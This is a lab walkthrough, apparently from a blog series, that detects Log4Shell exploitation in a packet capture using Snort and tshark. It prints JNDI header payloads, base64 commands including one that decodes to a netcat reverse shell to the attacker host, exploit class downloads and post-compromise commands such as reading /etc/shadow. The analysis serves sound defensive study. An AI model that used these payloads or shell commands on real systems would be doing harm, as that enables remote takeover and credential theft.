└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A talos -q

##### log4-shell.pcapng #####
        [1:4000002:3] SUSPICIOUS ACTIVITY - CONFIRMED Critical Asset communicating via TCP/389 (LDAP) with External Host (alerts: 3)
        [1:4000003:0] POSSIBLE Log4J VULNERABILITY EXPLOITATION  (alerts: 3)
        [1:4000004:3] CODE EXECUTION ON CRITICAL SERVER - from external host (alerts: 2)
        [1:4000005:3] POSSIBLE COMMAND AND CONTROL - POST EXPLOITATION ACTIVITY - via 80/TCP (HTTP) (alerts: 1)
#####
--------------------------------------------------
module profile (all, depth 255, sorted by total_time)
#                      module layer    checks   time(us)  avg/check  %/caller  %/total
=                      ====== =====    ======   ========  =========  ========  =======
...
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000003   0        21       3      3       176         8        26             5        0        0
2         14000001   3       155      14      0        61         0         2             0        0        0
3         14000002   3         6       3      3        34         5         8             3        0        0
4         14000004   3         2       2      2        13         6         6             0        0        0
5         14000005   3         2       1      1         5         2         4             1        0        0

What did our rule triggered on? Looking at the actual alert, we see

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A cmg -q    

12/20-14:01:22.788277 [**] [1:4000005:3] "POSSIBLE COMMAND AND CONTROL - POST EXPLOITATION ACTIVITY - via 80/TCP (HTTP)" [**] [Classification: Known malware command and control traffic] [Priority: 1] {TCP} 192.168.56.102:80 -> 172.17.0.2:37957

snort.stream_tcp[46]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
6C 73 0A 0A 77 68 6F 61  6D 69 0A 0A 0A 75 6E 61  ls..whoa mi...una
6D 65 20 2D 2D 61 6C 6C  0A 0A 0A 69 64 0A 63 61  me --all ...id.ca
74 20 2F 65 74 63 2F 73  68 61 64 6F 77 0A        t /etc/s hadow.
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

Well that is it for this. Over to using Zeek detect this activity and wrap-up this series.

















Continuing Log4-Shell - Packet Analysis - Detection

Note: If you wish to follow along, the PCAP is on GitHub.

Now that I have a better understanding of the Log4j vulnerability and exploitation from a practical perspective, it is time to detect this activity via packet analysis. Any attack that leaves one host and interacts with another, will leave traces of packets on the wire. The question is, are we collecting those packets.

As with many attacks, we have one or more Indicators of Compromise (IoC) to start our threat hunting or to perform our detection. Let's use the IoC string jndi.

Before running through our pcap to see if jndi is inside, let's take a look at the protocol hierarchy. This is helpful, as it helps us to understand what is in the pcap.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -n -r log4-shell.pcapng -q -z io,phs 2>/dev/null 

===================================================================
Protocol Hierarchy Statistics
Filter: 

eth                                      frames:7568 bytes:821104
  ip                                     frames:7568 bytes:821104
    tcp                                  frames:7568 bytes:821104
      http                               frames:1239 bytes:266638
        json                             frames:502 bytes:35642
          tcp.segments                   frames:502 bytes:35642
        tcp.segments                     frames:3 bytes:3871
        data-text-lines                  frames:99 bytes:58437
        http                             frames:1 bytes:257
      ldap                               frames:82 bytes:9105
===================================================================

Running a strings search against the pcap for jndi.

┌──(rootđź’€securitynik)-[~/log4j]
└─# strings --all --print-file-name --bytes 4 --encoding s log4-shell.pcapng | grep jndi | more                  
log4-shell.pcapng: X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}
log4-shell.pcapng: X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==
log4-shell.pcapng: X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==}
log4-shell.pcapng: X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==}
log4-shell.pcapng: X-Api-Version: ${jndi:ldap://127.0.0.1:1389}
log4-shell.pcapng: User-Agent: ${jndi:ldap://127.0.0.1:1389}
...

Immediately, we see we got some hits.

Looking at the endpoints involved in this pcap, to see if any of our critical (just my definition for this post) assets are being communicated with. 

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -n -r log4-shell.pcapng -q -z endpoints,ip   2>/dev/null   
================================================================================
IPv4 Endpoints
Filter:<No Filter>
                       |  Packets  | |  Bytes  | | Tx Packets | | Tx Bytes | | Rx Packets | | Rx Bytes |
172.17.0.2                  7568        821104       3430          413289        4138          407815   
172.17.0.1                  7249        790831       3991          392155        3258          398676   
192.168.56.102               319         30273        147           15660         172           14613   
================================================================================

Let's assume 172.17.0.2 is our critical asset here.

It is one thing that we know it is seen in the PCAP. However, the question at this time, is who is 172.17.0.2 communicating with? Looking at the IP conversations, can help us answer this question.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -n -r log4-shell.pcapng -q -z conv,ip   2>/dev/null 
================================================================================
IPv4 Conversations
Filter:<No Filter>
                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
172.17.0.1           <-> 172.17.0.2              3257 398kB        3990 392kB        7247 790kB         0.000000000      5851.6217
172.17.0.2           <-> 192.168.56.102           130 14kB          154 12kB          284 27kB        146.068187000      5726.3420
================================================================================

Looks like most of the communication with our critical asset, occurred with another host within our 172.17.0.0/16 network. Interesting to see, while the communication between 172.17.0.1 and 172.17.0.2 has more bytes than 172.17.0.2 and 192.168.56.102 and the second communication started 146 seconds after the first, their duration is almost the same. 
 
Looking closer at the TCP conversations.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -n -r log4-shell.pcapng -q -z conv,tcp 2>/dev/null | more                                                                                                                                       
================================================================================
TCP Conversations
Filter:<No Filter>
                                                           |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
                                                           | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
172.17.0.2:37957           <-> 192.168.56.102:80               17 1,176bytes      18 1,938bytes      35 3,114bytes  3353.032935000       254.9447
172.17.0.2:36820           <-> 192.168.56.102:389               8 767bytes       10 831bytes       18 1,598bytes   146.068187000         0.1844
172.17.0.2:36822           <-> 192.168.56.102:389               9 841bytes        9 773bytes       18 1,614bytes  2048.708211000         0.0202
172.17.0.2:36824           <-> 192.168.56.102:389               9 861bytes        9 794bytes       18 1,655bytes  3353.007139000         0.0182
172.17.0.2:36826           <-> 192.168.56.102:389               9 676bytes        9 720bytes       18 1,396bytes  4501.643761000      1370.7665
172.17.0.2:36828           <-> 192.168.56.102:389               9 676bytes        9 720bytes       18 1,396bytes  4577.111093000      1295.2987
172.17.0.2:36830           <-> 192.168.56.102:389               8 610bytes       10 786bytes       18 1,396bytes  4654.824083000      1217.5853
172.17.0.2:36836           <-> 192.168.56.102:389               9 676bytes        9 720bytes       18 1,396bytes  5247.996745000       624.4122
172.17.0.2:36838           <-> 192.168.56.102:389               8 610bytes       10 786bytes       18 1,396bytes  5367.879263000       504.5294
172.17.0.2:36840           <-> 192.168.56.102:389               8 610bytes       10 786bytes       18 1,396bytes  5444.599293000       427.8088
172.17.0.2:36842           <-> 192.168.56.102:389               8 610bytes       10 786bytes       18 1,396bytes  5479.459163000       392.9482
172.17.0.2:36844           <-> 192.168.56.102:389               8 610bytes       10 786bytes       18 1,396bytes  5826.303555000        46.1026
172.17.0.2:36846           <-> 192.168.56.102:389               8 610bytes       10 786bytes       18 1,396bytes  5851.567120000        20.8383
172.17.0.2:36832           <-> 192.168.56.102:389               7 703bytes        9 724bytes       16 1,427bytes  4785.376905000         0.0052
172.17.0.2:36834           <-> 192.168.56.102:389               7 703bytes        9 724bytes       16 1,427bytes  5120.703149000         0.0026
172.17.0.1:60592           <-> 172.17.0.2:8080                  6 639bytes        7 675bytes       13 1,314bytes  4654.837969000         0.0011
172.17.0.1:60604           <-> 172.17.0.2:8080                  6 639bytes        7 676bytes       13 1,315bytes  4654.846317000         0.0010
172.17.0.1:60616           <-> 172.17.0.2:8080                  6 639bytes        7 667bytes       13 1,306bytes  4654.852625000         0.0012
172.17.0.1:60632           <-> 172.17.0.2:8080                  6 639bytes        7 664bytes       13 1,303bytes  4654.863216000         0.
...
172.17.0.1:60314           <-> 172.17.0.2:8080                  5 573bytes        7 556bytes       12 1,129bytes     0.000000000         0.1138
172.17.0.2:51832           <-> 192.168.56.102:443               5 1,632bytes       7 651bytes       12 2,283bytes   146.163688000        10.0357
172.17.0.2:51834           <-> 192.168.56.102:443               5 1,637bytes       7 651bytes       12 2,288bytes  2048.711847000        10.0039
172.17.0.2:51836           <-> 192.168.56.102:443               5 1,652bytes       7 651bytes       12 2,303bytes  3353.013923000         5.0021
... 
172.17.0.1:60271           <-> 172.17.0.2:8080                  1 58bytes         2 112bytes        3 170bytes   5851.534341000         0.0000
172.17.0.1:43849           <-> 172.17.0.2:80                    1 54bytes         1 58bytes         2 112bytes   4317.066643000         0.0000
172.17.0.1:43849           <-> 172.17.0.2:443                   1 54bytes         1 58bytes         2 112bytes   4317.066698000         0.0000
172.17.0.1:43849           <-> 172.17.0.2:389                   1 54bytes         1 58bytes         2 112bytes   4317.073452000         0.0000

Any same person, looking at the output above, will want to understand why the connection on port 80 is seen with such a significant larger amount of bytes compared to the other communications. At first glance, this total number of frames is almost twice the next entry, with the total bytes being more than doubled the next three entries. Additionally, this conversation is 254 seconds. When compared with the next 3 entries, this is obviously a concern. However, as we look lower, we see even some of those port 389 communication which 18K frames and 1K+ frames.

In the interest of time and to keep things simple, let's quickly follow 172.17.0.2:37957 <-> 192.168.56.102:80  stream/conversation/session.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.2:37957,192.168.56.102:80  2>/dev/null | more 

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 37957) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 80)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 80) and (ip.dst eq 172.17.0.2 and tcp.dstpo
rt eq 37957))
Node 0: 172.17.0.2:37957
Node 1: 192.168.56.102:80
        3
ls

4
app

70
bin
dev
etc
home
...


whoami

5
root
...


uname --all

93
Linux 00fc730a324d 5.14.0-kali4-amd64 #1 SMP Debian 5.14.16-1kali1 (2021-11-05) x86_64 Linux
...


cat /etc/shadow

440
root:::0:::::
bin:!::0:::::
daemon:!::0:::::
adm:!::0:::::
....

Above are all signs of a successful compromise. So, when did this activity start. Looking at this from the local time perspective.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(ip.addr == 172.17.0.2) and (tcp.port == 37957) && (ip.addr == 192.168.56.102) && (tcp.port == 80) && (tcp.flags.syn==1) && !(tcp.flags.ack == 1)'  2>/dev/null | more 
  140 2021-12-20 14:00:58.987870   172.17.0.2 → 192.168.56.102 TCP 74 37957 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076527 TSecr=0 WS=128

Now that we know when this activity occurred, we need to both look back for historical analysis as well as look forward to learn if this activity is still occurring.

Looking at dates earlier than 2021-12-20 14:00:58.987870 while focusing on our critical server IP 172.117.0.2.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time < "2021-12-20 14:00:58.987870") && (ip.src == 172.17.0.2)' 2>/dev/null | more
    2 2021-12-20 13:05:05.954948   172.17.0.2 → 172.17.0.1   TCP 74 8080 → 60314 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM=1 TSval=419107230 TSecr=4090634673 WS=128
    5 2021-12-20 13:05:05.960618   172.17.0.2 → 172.17.0.1   TCP 66 8080 → 60314 [ACK] Seq=1 Ack=87 Win=65152 Len=0 TSval=419107236 TSecr=4090634679
    6 2021-12-20 13:05:06.066901   172.17.0.2 → 172.17.0.1   TCP 296 HTTP/1.1 400   [TCP segment of a reassembled PDU]
    8 2021-12-20 13:05:06.067574   172.17.0.2 → 172.17.0.1   HTTP/JSON 71 HTTP/1.1 400  , JavaScript Object Notation (application/json)
   11 2021-12-20 13:05:06.068740   172.17.0.2 → 172.17.0.1   TCP 66 8080 → 60314 [FIN, ACK] Seq=236 Ack=88 Win=65152 Len=0 TSval=419107344 TSecr=4090634787
   14 2021-12-20 13:07:32.008338   172.17.0.2 → 172.17.0.1   TCP 74 8080 → 60316 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM=1 TSval=419253284 TSecr=4090780727 WS=128
   17 2021-12-20 13:07:32.008526   172.17.0.2 → 172.17.0.1   TCP 66 8080 → 60316 [ACK] Seq=1 Ack=183 Win=65024 Len=0 TSval=419253284 TSecr=4090780727
   18 2021-12-20 13:07:32.023122   172.17.0.2 → 192.168.56.102 TCP 74 36820 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869562 TSecr=0 WS=128
   20 2021-12-20 13:07:32.023151   172.17.0.2 → 192.168.56.102 TCP 66 36820 → 389 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=2720869562 TSecr=831471952
   21 2021-12-20 13:07:32.025030   172.17.0.2 → 192.168.56.102 LDAP 80 bindRequest(1) "<ROOT>" simple 
   24 2021-12-20 13:07:32.048350   172.17.0.2 → 192.168.56.102 TCP 66 36820 → 389 [ACK] Seq=15 Ack=15 Win=64256 Len=0 TSval=2720869588 TSecr=831471978
...

  124 2021-12-20 14:00:58.968993   172.17.0.2 → 192.168.56.102 HTTP 247 GET /Exploit6HHc3BcVzI.class HTTP/1.1 
  127 2021-12-20 14:00:58.969642   172.17.0.2 → 192.168.56.102 TCP 66 51836 → 443 [ACK] Seq=182 Ack=79 Win=64256 Len=0 TSval=2724076509 TSecr=834678899
  129 2021-12-20 14:00:58.969687   172.17.0.2 → 192.168.56.102 TCP 66 51836 → 443 [ACK] Seq=182 Ack=1315 Win=64128 Len=0 TSval=2724076509 TSecr=834678899
  130 2021-12-20 14:00:58.970953   172.17.0.2 → 192.168.56.102 LDAP 102 unbindRequest(3) 
  133 2021-12-20 14:00:58.980196   172.17.0.2 → 192.168.56.102 TCP 66 36824 → 389 [FIN, ACK] Seq=193 Ack=261 Win=64128 Len=0 TSval=2724076519 TSecr=834678900
  135 2021-12-20 14:00:58.982219   172.17.0.2 → 172.17.0.1   HTTP 193 HTTP/1.1 200   (text/plain)
  138 2021-12-20 14:00:58.985545   172.17.0.2 → 172.17.0.1   TCP 66 8080 → 60324 [FIN, ACK] Seq=128 Ack=212 Win=65024 Len=0 TSval=422460261 TSecr=4093987701

We see activity earlier than the time the compromised was confirmed. Let's focus specifically on activity starting up. At this point, we are not sure who is starting the conversation. As in whether it is a compromised internal host or an external threat actor. So let's rework the previous filter. Rather than focus on the (ip.src == 172.17.0.2) we now focus on (ip.addr == 172.17.0.2). Additionally, we look for the TCP SYN flag set.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time < "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | more
    1 2021-12-20 13:05:05.954935   172.17.0.1 → 172.17.0.2   TCP 74 60314 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4090634673 TSecr=0 WS=128
   13 2021-12-20 13:07:32.008320   172.17.0.1 → 172.17.0.2   TCP 74 60316 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4090780727 TSecr=0 WS=128
   18 2021-12-20 13:07:32.023122   172.17.0.2 → 192.168.56.102 TCP 74 36820 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869562 TSecr=0 WS=128
   31 2021-12-20 13:07:32.118623   172.17.0.2 → 192.168.56.102 TCP 74 51832 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869658 TSecr=0 WS=128
   53 2021-12-20 13:38:30.063458   172.17.0.1 → 172.17.0.2   TCP 74 60318 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4092638782 TSecr=0 WS=128
   63 2021-12-20 13:39:14.661012   172.17.0.1 → 172.17.0.2   TCP 74 60320 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4092683379 TSecr=0 WS=128
   68 2021-12-20 13:39:14.663146   172.17.0.2 → 192.168.56.102 TCP 74 36822 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2722772202 TSecr=0 WS=128
   81 2021-12-20 13:39:14.666782   172.17.0.2 → 192.168.56.102 TCP 74 51834 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2722772206 TSecr=0 WS=128
  103 2021-12-20 14:00:58.960277   172.17.0.1 → 172.17.0.2   TCP 74 60324 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4093987679 TSecr=0 WS=128
  108 2021-12-20 14:00:58.962074   172.17.0.2 → 192.168.56.102 TCP 74 36824 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076501 TSecr=0 WS=128
  121 2021-12-20 14:00:58.968858   172.17.0.2 → 192.168.56.102 TCP 74 51836 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076508 TSecr=0 WS=128

With a few results returned, time to look into each of these sessions to understand what transpired. Starting with the one with the earlier date (frame 1 - 2021-12-20 13:05:05) and working our way through to the last one (frame 121 - 2021-12-20 14:00:58).

Frame 1: Activity started on December 20, 2021 at 13:05:05 and resulted in a 400 error. As we can see below there is a "Bad Request"

──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.1:60314,172.17.0.2:8080 2>/dev/null | more

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.1 and tcp.srcport eq 60314) and (ip.dst eq 172.17.0.2 and tcp.dstport eq 8080)) or ((ip.src eq 172.17.0.2 and tcp.srcport eq 8080) and (ip.dst eq 172.17.0.1 and tcp.dstport e
q 60314))
Node 0: 172.17.0.1:60314
Node 1: 172.17.0.2:8080
86
GET / HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
User-Agent: SecurityNik Testing


        230
HTTP/1.1 400 
Content-Type: application/json
Transfer-Encoding: chunked
Date: Mon, 20 Dec 2021 18:05:06 GMT
Connection: close

5b
{"timestamp":"2021-12-20T18:05:06.027+00:00","status":400,"error":"Bad Request","path":"/"}

Frame 13 - 2021-12-20 13:07:32 - This activity starts about 2 minutes after the frame 1 activity:

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.1:60316,172.17.0.2:8080 2>/dev/null | more    
===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.1 and tcp.srcport eq 60316) and (ip.dst eq 172.17.0.2 and tcp.dstport eq 8080)) or ((ip.src eq 172.17.0.2 and tcp.srcport eq 8080) and (ip.dst eq 172.17.0.1 and tcp.dstport e
q 60316))
Node 0: 172.17.0.1:60316
Node 1: 172.17.0.2:8080
182
GET / HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}
User-Agent: SecurityNik Testing


        127
HTTP/1.1 200 
Content-Type: text/plain;charset=UTF-8
Content-Length: 13
Date: Mon, 20 Dec 2021 18:07:32 GMT

Hello, world!
===================================================================

Knowing this exploit can take advantage of the HTTP Headers and since we know the string jndi is one of our IoCs, we can say we have a direct hit and definitively, this activity seems to be associated with the current Log4J vulnerability. For the header, we see "X-Api-Version" and the base64 encoded content "dG91Y2ggL3RtcC9wd25lZAo=". Decoding this content we get:

┌──(rootđź’€securitynik)-[~/log4j]
└─# echo "dG91Y2ggL3RtcC9wd25lZAo=" | base64 --decode
touch /tmp/pwned

With the above, we should either now check our host at 172.17.0.2 to see if the file pwned exists in the tmp directory. If it does exist, now would be a good time to activate your incident response plan. If the system was restarted, it is more than likely this file is not there. Also, correlating the timestamp on the end-host with what you have in this packet would be very helpful

Considering  what we have above, what do we know so far?

1. We know, based on our pcap that  at13:05 on December 20, 2002 the user or process at IP  172.17.0.1 communicated with another one of our internal IP at 172.17.0.2 with a bad request.

2. We know that after the first request, we had a successful request and that a base64 encoded payload was used to create a file on our critical asset at 172.17.0.2. This was done by using the HTTP header X-API-Version and the Java Naming and Directory Interface (JNDI). The remote address our server needs to contact with 192.168.56.102 on port 389. At this point, we will also have to pay attention to activities occurring with this external source 192.168.56.102. Maybe time to activiate your incident response plan.

Continuing our analysis.
Interestingly frames 18 and 31 have almost the same start time on December 20, 2021 at 13:07:32. Additionally, while 172.17.0.1 started the previous session, in this case, our compromised host at 172.17.0.2 is making requests out to the host at 192.168.56.102 on both ports 389 and 443. The 389 makes sense, as it ties into what we saw in the X-API-Version header. However, how did our host come to initiate that connection out to port 443 on the external host?

Frame 18

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.2:36820,192.168.56.102:389 2>/dev/null | more 

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 36820) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 389)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 389) and (ip.dst eq 172.17.0.2 and tcp.dst
port eq 36820))
Node 0: 172.17.0.2:36820
Node 1: 192.168.56.102:389
14
0....`........
        14
0....a.
......
113
0o...cM.-Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=
..
.............objectClass0...0...2.16.840.1.113730.3.4.2
        203
0.....d...-Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=0..0..
        14
0....e.
......
36
0"...B...0...2.16.840.1.113730.3.4.2
===================================================================

This base64 encoded content is the same we saw previously for "touch /tmp/pwned". What about that port 443 traffic in frame 31

Looking below, we see our system made a request via "Java/1.8.0_181" out to 192.168.56.102 on port 443 to get a resource "/ExploitQ8v7ygBW4i.class". Looking even closer, we also see some interesting strings such as "bin/sh" and "exec". Looking further down we see "touch /tmp/pwned". These are all good IoCs and can be used as part of our signature based tools, such as Snort3 and Zeek, as we will be using soon.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.2:51832,192.168.56.102:443 2>/dev/null | more 

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 51832) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 443)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 443) and (ip.dst eq 172.17.0.2 and tcp.dst
port eq 51832))
Node 0: 172.17.0.2:51832
Node 1: 192.168.56.102:443
181
GET /ExploitQ8v7ygBW4i.class HTTP/1.1
User-Agent: Java/1.8.0_181
Host: 192.168.56.102:443
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive


        78
HTTP/1.1 200 OK
Date: Mon, 20 Dec 2021 18:07:32 GMT
Content-length: 1216


        1216
.......2.=...ExploitQ8v7ygBW4i.....@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet......cmd...Ljava/lang/String;...<init>...()V...java/io/IOException........
.......java/io/File..
......./bin/sh......-c.................../C..!...[Ljava/lang/String;..#...java/lang/Runtime..%..
getRuntime...()Ljava/lang/Runtime;..'.(
.&.)...exec..(([Ljava/lang/String;)Ljava/lang/Process;..+.,
.&.-...printStackTrace../..
.
.0...transform..r(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V..9com/sun/org/apache/xalan/internal/xsltc/TransletException..4...(Lcom/
sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V...<clinit>...touch /tmp/pwned
..8...Code..
Exceptions.!.........
.................:...~.......M*..................Y...SY...SY....SL.......Y.. SY.."SY....SL..*+...W...M,..1....<.D.G.
...;........'............$J..
....2.3...:...
===================================================================

Looking at frame 53. 2021-12-20 13:38:30.063458, we are now more more than 33 minutes since this activity began. Following the stream.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.1:60318,172.17.0.2:8080 2>/dev/null | more 

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.1 and tcp.srcport eq 60318) and (ip.dst eq 172.17.0.2 and tcp.dstport eq 8080)) or ((ip.src eq 172.17.0.2 and tcp.srcport eq 8080) and (ip.dst eq 172.17.0.1 and tcp.dstport e
q 60318))
Node 0: 172.17.0.1:60318
Node 1: 172.17.0.2:8080
191
GET / HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==
}
User-Agent: SecurityNik Testing


        590
HTTP/1.1 400 
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 435
Date: Mon, 20 Dec 2021 18:38:30 GMT
Connection: close

<!doctype html><html lang="en"><head><title>HTTP Status 400 ... Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;}
 h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 ... B
ad Request</h1></body></html>
===================================================================

We see yet another jndi lookup for base64 encoded content. Decoding that contents, we see:

┌──(rootđź’€securitynik)-[~/log4j]
└─# echo "d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==" | base64 --decode  
which nc > /tmp/pwned

Interesting! This is the biggest hint we have had so far, into what might have happened. At this point, we can infer, after successful compromise netcat was executed. While this would be a good assumption, there is no evidence at this point to confirm nc's execution. We only have evidence of it being searched for. Let's dig deeper.

Frame 63 - 2021-12-20 13:39:14.661012. This frame also had base64 encoded content, much like frame 1. Therefore, no need to show it again.

Looking at frames 68 and 81, we see these activities occurred on December 20, 2012 at the same time 13:39:14. More importantly, it follows the same pattern we saw previously, in which our critical server at 172.17.0.2 connects to the external host on port 389, then on port 443 immediately after. This is a very good pattern to use for correlation and is one we will use in our Zeek script.

Frame 68 - 2021-12-20 13:39:14.663146 - This packet is similar to the one in frame 53 that resulted in  "which nc > /tmp/pwned"

Frame 81 - 2021-12-20 13:39:14.666782. Looking closely, once again, we see interesting strings such as "/bin/sh" "exec" and "which nc > /tmp/pwned". As before, we also see our critical server actually goes out via Java/1.8.0_181 and makes a GET request GET /ExploitSMMZvT8GXL.class.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.2:51834,192.168.56.102:443 2>/dev/null | more 

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 51834) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 443)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 443) and (ip.dst eq 172.17.0.2 and tcp.dst
port eq 51834))
Node 0: 172.17.0.2:51834
Node 1: 192.168.56.102:443
181
GET /ExploitSMMZvT8GXL.class HTTP/1.1
User-Agent: Java/1.8.0_181
Host: 192.168.56.102:443
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive


        78
HTTP/1.1 200 OK
Date: Mon, 20 Dec 2021 18:39:14 GMT
Content-length: 1221


        1221
.......2.=...ExploitSMMZvT8GXL.....@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet......cmd...Ljava/lang/String;...<init>...()V...java/io/IOException........
.......java/io/File..
......./bin/sh......-c.................../C..!...[Ljava/lang/String;..#...java/lang/Runtime..%..
getRuntime...()Ljava/lang/Runtime;..'.(
.&.)...exec..(([Ljava/lang/String;)Ljava/lang/Process;..+.,
.&.-...printStackTrace../..
.
.0...transform..r(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V..9com/sun/org/apache/xalan/internal/xsltc/TransletException..4...(Lcom/
sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V...<clinit>...which nc > /tmp/pwned
..8...Code..
Exceptions.!.........
.................:...~.......M*..................Y...SY...SY....SL.......Y.. SY.."SY....SL..*+...W...M,..1....<.D.G.
...;........'............$J..
....2.3...:...
===================================================================

We then see frames 103, 108 and 121 all having the same time of 14:00 hours on December 20, 2021. Additionally, we see the port 8080 communication, followed by port 389, then port 443.

